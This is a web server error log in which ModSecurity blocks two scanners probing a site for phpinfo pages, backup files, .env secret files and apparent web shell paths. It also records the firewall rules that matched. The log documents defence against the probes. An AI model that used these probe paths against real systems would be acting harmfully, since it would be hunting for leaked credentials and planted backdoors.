[Tue Feb 17 07:26:43.674682 2026] [:error] [pid 58551:tid 58582] [client 167.86.111.253:38260] [client 167.86.111.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php.save.1"] [unique_id "aZOns61t8eWr-MgFspqKewAAABY"]
[Tue Feb 17 07:26:45.954305 2026] [:error] [pid 58551:tid 58584] [client 167.86.111.253:38276] [client 167.86.111.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php_"] [unique_id "aZOnta1t8eWr-MgFspqKfQAAABg"]
[Tue Feb 17 07:26:52.358403 2026] [:error] [pid 58558:tid 58633] [client 167.86.111.253:38280] [client 167.86.111.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin_phpinfo.php"] [unique_id "aZOnvCmIxlfUL2nViZzYwwAAAIs"]
[Tue Feb 17 07:26:52.619143 2026] [:error] [pid 58558:tid 58628] [client 167.86.111.253:38294] [client 167.86.111.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dbinfo.php"] [unique_id "aZOnvCmIxlfUL2nViZzYxAAAAIY"]
[Tue Feb 17 07:26:53.774103 2026] [:error] [pid 58552:tid 58618] [client 167.86.111.253:49274] [client 167.86.111.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dbinfo.php"] [unique_id "aZOnvTBHVJP2Oz3yR5cIGwAAAFc"]
[Tue Feb 17 07:26:54.831268 2026] [:error] [pid 32790:tid 32807] [client 167.86.111.253:49282] [client 167.86.111.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin_info.php"] [unique_id "aZOnvns3HJP9ozPHsN4L6QAAAQ0"]
[Tue Feb 17 07:27:00.719932 2026] [:error] [pid 58552:tid 58610] [client 167.86.111.253:49292] [client 167.86.111.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/config.php"] [unique_id "aZOnxDBHVJP2Oz3yR5cIKQAAAE8"]
[Tue Feb 17 07:27:01.019295 2026] [:error] [pid 58552:tid 58609] [client 167.86.111.253:49302] [client 167.86.111.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/phpinfo.php"] [unique_id "aZOnxTBHVJP2Oz3yR5cILAAAAE4"]
[Tue Feb 17 07:27:01.696645 2026] [:error] [pid 32790:tid 32805] [client 167.86.111.253:49314] [client 167.86.111.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/phpinfo.php"] [unique_id "aZOnxXs3HJP9ozPHsN4L_wAAAQs"]
[Tue Feb 17 07:27:02.312370 2026] [:error] [pid 32790:tid 32818] [client 167.86.111.253:49318] [client 167.86.111.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/phpinfo.php.bak"] [unique_id "aZOnxns3HJP9ozPHsN4MAgAAARg"]
[Tue Feb 17 07:27:03.828216 2026] [:error] [pid 58552:tid 58618] [client 167.86.111.253:47378] [client 167.86.111.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/admin/admin_phpinfo.php4"] [unique_id "aZOnxzBHVJP2Oz3yR5cIMgAAAFc"]
[Tue Feb 17 07:27:04.563258 2026] [:error] [pid 32790:tid 32804] [client 167.86.111.253:47394] [client 167.86.111.253] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pinfo.php"] [unique_id "aZOnyHs3HJP9ozPHsN4MEAAAAQo"]
[Tue Feb 17 07:27:05.142891 2026] [:error] [pid 58551:tid 58565] [client 167.86.111.253:47406] [client 167.86.111.253] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.bak"] [unique_id "aZOnya1t8eWr-MgFspqKigAAAAU"]
[Tue Feb 17 07:27:05.727883 2026] [:error] [pid 58558:tid 58627] [client 167.86.111.253:47414] [client 167.86.111.253] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aZOnySmIxlfUL2nViZzY5gAAAIU"]
[Tue Feb 17 07:27:11.306948 2026] [:error] [pid 32790:tid 32816] [client 167.86.111.253:47424] [client 167.86.111.253] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env_sample"] [unique_id "aZOnz3s3HJP9ozPHsN4MKgAAARY"]
[Tue Feb 17 07:27:11.581584 2026] [:error] [pid 58552:tid 58599] [client 167.86.111.253:47430] [client 167.86.111.253] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.old"] [unique_id "aZOnzzBHVJP2Oz3yR5cIOgAAAEQ"]
[Tue Feb 17 07:27:12.135912 2026] [:error] [pid 58558:tid 58623] [client 167.86.111.253:47434] [client 167.86.111.253] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.www"] [unique_id "aZOn0CmIxlfUL2nViZzY7QAAAIE"]
[Tue Feb 17 07:27:12.702386 2026] [:error] [pid 58558:tid 58627] [client 167.86.111.253:47442] [client 167.86.111.253] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.docker/.env"] [unique_id "aZOn0CmIxlfUL2nViZzY7gAAAIU"]
[Tue Feb 17 07:27:13.371345 2026] [:error] [pid 58551:tid 58573] [client 167.86.111.253:34840] [client 167.86.111.253] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env.dev"] [unique_id "aZOn0a1t8eWr-MgFspqKkwAAAA0"]
[Tue Feb 17 09:31:16.519251 2026] [proxy_fcgi:error] [pid 58659:tid 58664] [client 20.100.191.215:36794] AH01071: Got error 'Primary script unknown'
[Tue Feb 17 09:31:16.784778 2026] [proxy_fcgi:error] [pid 58659:tid 58670] [client 20.100.191.215:36794] AH01071: Got error 'Primary script unknown'
[Tue Feb 17 09:31:17.049837 2026] [proxy_fcgi:error] [pid 58659:tid 58685] [client 20.100.191.215:36794] AH01071: Got error 'Primary script unknown'
[Tue Feb 17 09:31:17.313370 2026] [proxy_fcgi:error] [pid 58659:tid 58663] [client 20.100.191.215:36794] AH01071: Got error 'Primary script unknown'
[Tue Feb 17 09:31:17.578245 2026] [proxy_fcgi:error] [pid 58659:tid 58680] [client 20.100.191.215:36794] AH01071: Got error 'Primary script unknown'
[Tue Feb 17 09:31:17.841380 2026] [proxy_fcgi:error] [pid 58659:tid 58673] [client 20.100.191.215:36794] AH01071: Got error 'Primary script unknown'
[Tue Feb 17 09:31:18.227347 2026] [proxy_fcgi:error] [pid 58659:tid 58677] [client 20.100.191.215:36794] AH01071: Got error 'Primary script unknown'
[Tue Feb 17 09:31:18.507024 2026] [proxy_fcgi:error] [pid 58659:tid 58671] [client 20.100.191.215:36794] AH01071: Got error 'Primary script unknown'
[Tue Feb 17 09:31:18.777995 2026] [proxy_fcgi:error] [pid 58659:tid 58668] [client 20.100.191.215:36794] AH01071: Got error 'Primary script unknown'
[Tue Feb 17 09:31:19.042099 2026] [proxy_fcgi:error] [pid 58659:tid 58661] [client 20.100.191.215:36794] AH01071: Got error 'Primary script unknown'
[Tue Feb 17 09:31:19.505446 2026] [:error] [pid 58659:tid 58678] [client 20.100.191.215:36794] [client 20.100.191.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/init.php"] [unique_id "aZPE58DX32iTEO4jt29bIwAAANE"]
[Tue Feb 17 09:31:20.975567 2026] [:error] [pid 58659:tid 58685] [client 20.100.191.215:17916] [client 20.100.191.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/init.php"] [unique_id "aZPE6MDX32iTEO4jt29bJQAAANg"]
[Tue Feb 17 09:31:26.654291 2026] [:error] [pid 58558:tid 58646] [client 20.100.191.215:34499] [client 20.100.191.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/init.php"] [unique_id "aZPE7imIxlfUL2nViZwTzgAAAJg"]
[Tue Feb 17 09:31:27.691599 2026] [:error] [pid 58552:tid 58606] [client 20.100.191.215:27980] [client 20.100.191.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/init.php"] [unique_id "aZPE7zBHVJP2Oz3yR5dBRQAAAEs"]
[Tue Feb 17 09:31:31.028694 2026] [:error] [pid 58659:tid 58664] [client 20.100.191.215:47426] [client 20.100.191.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aZPE88DX32iTEO4jt29bPwAAAMM"]
[Tue Feb 17 09:31:32.420439 2026] [:error] [pid 58551:tid 58571] [client 20.100.191.215:47477] [client 20.100.191.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aZPE9K1t8eWr-MgFsprDNgAAAAs"]
[Tue Feb 17 09:31:33.428242 2026] [:error] [pid 58551:tid 58573] [client 20.100.191.215:26221] [client 20.100.191.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aZPE9a1t8eWr-MgFsprDOAAAAA0"]
[Tue Feb 17 09:31:34.468482 2026] [:error] [pid 58558:tid 58630] [client 20.100.191.215:12757] [client 20.100.191.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/themes.php"] [unique_id "aZPE9imIxlfUL2nViZwT6AAAAIg"]
[Tue Feb 17 09:31:35.408894 2026] [:error] [pid 58558:tid 58633] [client 20.100.191.215:32559] [client 20.100.191.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ff.php"] [unique_id "aZPE9ymIxlfUL2nViZwT7wAAAIs"]
[Tue Feb 17 09:31:36.250802 2026] [:error] [pid 58659:tid 58663] [client 20.100.191.215:15239] [client 20.100.191.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ff.php"] [unique_id "aZPE-MDX32iTEO4jt29bTAAAAMI"]
[Tue Feb 17 09:31:37.492334 2026] [:error] [pid 58552:tid 58615] [client 20.100.191.215:24473] [client 20.100.191.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ff.php"] [unique_id "aZPE-TBHVJP2Oz3yR5dBTgAAAFQ"]
[Tue Feb 17 09:31:38.264071 2026] [:error] [pid 58558:tid 58633] [client 20.100.191.215:24503] [client 20.100.191.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ff.php"] [unique_id "aZPE-imIxlfUL2nViZwT8wAAAIs"]
[Tue Feb 17 09:31:39.159800 2026] [:error] [pid 32790:tid 32817] [client 20.100.191.215:47478] [client 20.100.191.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ak.php/wp-admin/async-upload.php"] [unique_id "aZPE-3s3HJP9ozPHsN5ccwAAARc"]
[Tue Feb 17 09:31:40.020732 2026] [:error] [pid 58552:tid 58613] [client 20.100.191.215:11546] [client 20.100.191.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ak.php/wp-admin/async-upload.php"] [unique_id "aZPE_DBHVJP2Oz3yR5dBVQAAAFI"]
[Tue Feb 17 09:31:40.856984 2026] [:error] [pid 32790:tid 32797] [client 20.100.191.215:12779] [client 20.100.191.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ak.php/wp-admin/async-upload.php"] [unique_id "aZPE_Hs3HJP9ozPHsN5cdgAAAQM"]
[Tue Feb 17 09:31:41.485904 2026] [:error] [pid 32790:tid 32816] [client 20.100.191.215:11567] [client 20.100.191.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ak.php/wp-admin/async-upload.php"] [unique_id "aZPE_Xs3HJP9ozPHsN5ceAAAARY"]
[Tue Feb 17 09:31:42.280278 2026] [:error] [pid 58558:tid 58622] [client 20.100.191.215:12797] [client 20.100.191.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bjfl.php"] [unique_id "aZPE_imIxlfUL2nViZwT_wAAAIA"]
[Tue Feb 17 09:31:42.937826 2026] [:error] [pid 58659:tid 58673] [client 20.100.191.215:26179] [client 20.100.191.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bjfl.php"] [unique_id "aZPE_sDX32iTEO4jt29bfQAAAMw"]
[Tue Feb 17 09:31:43.489594 2026] [:error] [pid 58551:tid 58566] [client 20.100.191.215:12737] [client 20.100.191.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bjfl.php"] [unique_id "aZPE_61t8eWr-MgFsprDVQAAAAY"]
[Tue Feb 17 09:31:44.317425 2026] [:error] [pid 58551:tid 58582] [client 20.100.191.215:12762] [client 20.100.191.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bjfl.php"] [unique_id "aZPFAK1t8eWr-MgFsprDVwAAABY"]
[Tue Feb 17 09:31:44.983277 2026] [:error] [pid 32790:tid 32812] [client 20.100.191.215:40736] [client 20.100.191.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vx.php"] [unique_id "aZPFAHs3HJP9ozPHsN5cjgAAARI"]
[Tue Feb 17 09:31:45.539663 2026] [:error] [pid 32790:tid 32804] [client 20.100.191.215:15269] [client 20.100.191.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vx.php"] [unique_id "aZPFAXs3HJP9ozPHsN5ckQAAAQo"]
[Tue Feb 17 09:31:46.157101 2026] [:error] [pid 58558:tid 58633] [client 20.100.191.215:32549] [client 20.100.191.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vx.php"] [unique_id "aZPFAimIxlfUL2nViZwUAwAAAIs"]
[Tue Feb 17 09:31:46.834855 2026] [:error] [pid 32790:tid 32794] [client 20.100.191.215:30608] [client 20.100.191.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vx.php"] [unique_id "aZPFAns3HJP9ozPHsN5clwAAAQA"]
[Tue Feb 17 09:31:47.492132 2026] [:error] [pid 58551:tid 58576] [client 20.100.191.215:15273] [client 20.100.191.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "aZPFA61t8eWr-MgFsprDXQAAABA"]
[Tue Feb 17 09:31:48.100076 2026] [:error] [pid 58551:tid 58563] [client 20.100.191.215:15283] [client 20.100.191.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "aZPFBK1t8eWr-MgFsprDYAAAAAM"]
[Tue Feb 17 09:31:48.628486 2026] [:error] [pid 58659:tid 58669] [client 20.100.191.215:8877] [client 20.100.191.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "aZPFBMDX32iTEO4jt29bswAAAMg"]
[Tue Feb 17 09:31:49.186397 2026] [:error] [pid 58659:tid 58663] [client 20.100.191.215:26192] [client 20.100.191.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jga.php"] [unique_id "aZPFBcDX32iTEO4jt29btwAAAMI"]
[Tue Feb 17 09:31:49.825432 2026] [:error] [pid 58558:tid 58639] [client 20.100.191.215:24462] [client 20.100.191.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a4.php/wp-admin/index.php"] [unique_id "aZPFBSmIxlfUL2nViZwUCwAAAJE"]
[Tue Feb 17 09:31:50.381417 2026] [:error] [pid 58659:tid 58664] [client 20.100.191.215:12793] [client 20.100.191.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a4.php/wp-admin/index.php"] [unique_id "aZPFBsDX32iTEO4jt29buQAAAMM"]
[Tue Feb 17 09:31:50.959075 2026] [:error] [pid 58558:tid 58625] [client 20.100.191.215:32528] [client 20.100.191.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a4.php/wp-admin/index.php"] [unique_id "aZPFBimIxlfUL2nViZwUDQAAAIM"]
[Tue Feb 17 09:31:51.507733 2026] [:error] [pid 58659:tid 58678] [client 20.100.191.215:14547] [client 20.100.191.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a4.php/wp-admin/index.php"] [unique_id "aZPFB8DX32iTEO4jt29bvQAAANE"]
[Tue Feb 17 09:31:52.154269 2026] [:error] [pid 32790:tid 32797] [client 20.100.191.215:11967] [client 20.100.191.215] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/about.php"] [unique_id "aZPFCHs3HJP9ozPHsN5cogAAAQM"]
[Tue Feb 17 09:31:52.755790 2026] [:error] [pid 58551:tid 58577] [client 20.100.191.215:10502] [client 20.100.191.215] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inege.php"] [unique_id "aZPFCK1t8eWr-MgFsprDYwAAABE"]
